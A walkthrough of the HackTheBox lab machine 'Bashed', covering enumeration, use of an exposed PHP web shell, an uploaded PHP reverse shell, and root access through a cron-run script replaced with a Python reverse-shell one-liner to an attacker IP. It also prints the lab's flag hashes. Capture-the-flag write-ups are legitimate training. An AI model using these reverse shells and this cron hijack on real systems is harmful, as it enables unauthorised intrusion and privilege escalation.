A quick walkthrough of the HackTheBox VM "Bashed"

This first step should be known to you by now, good old NMAP :)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Ouch, that's not much we have to go on. It's some kind of development site running Apache 2.4.18. Hmm, what to do.. ? Okay, got it. What about some dirbusting ?

Let's try to run a dirbuster scan looking for directories and php files ? If you do, you should find the following directories on the server.

Dirs found with a 200 response:

/
/images/
/js/
/demo-images/
/uploads/
/php/
/css/
/dev/

Dirs found with a 403 response:

/icons/
/icons/small/
Files found with a 200 responce:

/index.html
/single.html
/js/jquery.js
/js/imagesloaded.pkgd.js
/js/jquery.nicescroll.min.js
/js/jquery.smartmenus.min.js
/js/jquery.carouFredSel-6.0.0-packed.js
/js/jquery.mousewheel.min.js
/js/jquery.touchSwipe.min.js
/js/jquery.easing.1.3.js
/js/custom_google_map_style.js
/js/main.js
/js/html5.js
/php/sendMail.php
/css/carouFredSel.css
/css/clear.css
/css/common.css
/css/font-awesome.min.css
/css/sm-clean.css
/dev/phpbash.min.php
/dev/phpbash.php
/config.php

See that phpbash.php file, ? Try to look it up on the server, and you'll find a Bash shell there, written in PHP ;)

 So, we have access, limited, but we got it. So, what about real shell access ?. We could upload a php based reverse shell to the server, and call that. There's one over at pentestmonkey, so take a look at his github.

https://github.com/pentestmonkey/php-reverse-shell

So, edit the php file, and publish it from a python webserver, and wget it using the phpbash shell, so it ends up in a directory you can reach through the webserver. Last, setup a netcat listener, and call the reverse-php shell page.

└─# nc -nlvp 1234                 
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.138.252.
Ncat: Connection from 10.129.138.252:43740.
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 02:46:55 up 38 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ whoami
www-data
$ 

So, we have a limited shell, not a real shell, can we do something about that, ? sure.

python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bashed:/home/scriptmanager$ 
www-data@bashed:/home/scriptmanager$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:~$ cat /etc/os-release

NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

scriptmanager@bashed:~$ 

So, we're in Ubuntu, running as the user scriptmanager. If you're hunting around, you'll find a folder in /scripts, called test.py. It's setup to run every minute, so what if we made our own test.py, that calls a reverse shell ?
Make a test.py file, publish it through Python from your workstation, and wget it to the server, and drop it in /scripts.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Now, start netcat, and wait for it ;)

└─# nc -nvlp 2345                                                         130 ⨯
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2345
Ncat: Listening on 0.0.0.0:2345
Ncat: Connection from 10.129.138.252.
Ncat: Connection from 10.129.138.252:34776.
bash: cannot set terminal process group (1714): Inappropriate ioctl for device
bash: no job control in this shell
root@bashed:/scripts# 

Let's get some flags.

root@bashed
/home/arrexel# cat user.txt

2c281f318555dbc1b856957c7147bfc1

cat /root/root.txt
cc4f0afe3a1026d402ba10329674a8e2

Aaaand, we're done ;)

You have no rights to post comments